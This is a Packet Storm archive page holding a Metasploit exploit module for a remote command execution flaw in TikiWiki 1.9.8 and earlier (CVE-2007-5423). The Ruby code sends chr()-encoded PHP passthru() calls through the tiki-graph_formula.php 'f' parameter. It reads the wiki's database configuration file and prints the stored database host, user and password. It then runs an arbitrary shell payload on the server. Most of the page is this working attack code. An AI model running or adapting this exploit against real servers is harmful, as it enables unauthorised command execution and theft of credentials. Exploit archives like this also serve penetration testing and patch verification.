exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TikiWiki tiki-graph_formula Remote Command Execution

TikiWiki tiki-graph_formula Remote Command Execution
Posted Oct 30, 2009
Authored by Matteo Cantoni

TikiWiki versions 1.9.8 and below contain a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP commands resulting in a loss of integrity.

tags | exploit, remote, arbitrary, php
advisories | CVE-2007-5423
SHA-256 | 2c4a8a6e81f67352e72024e2f545f7d1ae145048bf376afb7ae97d09bf473fe9

TikiWiki tiki-graph_formula Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TikiWiki tiki-graph_formula Remote Command Execution',
'Description' => %q{
TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker to execute arbitrary commands.
The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input
supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP
commands resulting in a loss of integrity.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2007-5423'],
['OSVDB', '40478'],
['BID', '26006'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 10 2007',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + "/tiki-index.php",
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res and res.message == "OK" and res.body.match(/TikiWiki v1.|TikiWiki 1./))
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit

url_db_local = datastore['URI'] +
"/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru(" +
"chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)." + "chr(59)." +
"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
"chr(59)." + "chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)" +
").die()&t=png&title="

print_status("Sending request...")

res = send_request_raw({
'uri' => url_db_local,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res and res.message == "OK" and res.body)
print_status("The server returned : #{res.code} #{res.message}")
print_status("Server version : #{res.headers['Server']}")

db_tiki = res.body.match(/db_tiki='(.*?)';/m)
dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
host_tiki = res.body.match(/host_tiki='(.*?)';/m)
user_tiki = res.body.match(/user_tiki='(.*?)';/m)
pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)

print_status("TikiWiki database informations : \n")

print("db_tiki : " + db_tiki[1] + "\n")
print("dbversion : " + dbversion[1] + "\n")
print("host_tiki : " + host_tiki[1] + "\n")
print("user_tiki : " + user_tiki[1] + "\n")
print("pass_tiki : " + pass_tiki[1] + "\n")
print("dbs_tiki : " + dbs_tiki[1] + "\n\n")
else
print_status("No response from the server")
end

command = Rex::Text.uri_encode(payload.encoded)
encoded = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"

url_cmd = datastore['URI'] + "/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru(" +
"chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)." + "chr(59)." + encoded + ".chr(59)." +
"chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)" + ").die()&t=png&title="

print_status("Sending request...")

res = send_request_raw({
'uri' => url_cmd,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)

if (res and res.message == "OK" and res.body)

print_status("The server returned : #{res.code} #{res.message}")
cmd_output = res.body.match(/YYY\n(.*)\nYYY/m)

if (cmd_output)
print_status("Command output from the server :")
print("\n" + cmd_output[1] + "\n\n")
else
print_status("This server may not be vulnerable")
end

else
print_status("No response from the server")
end
end

end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close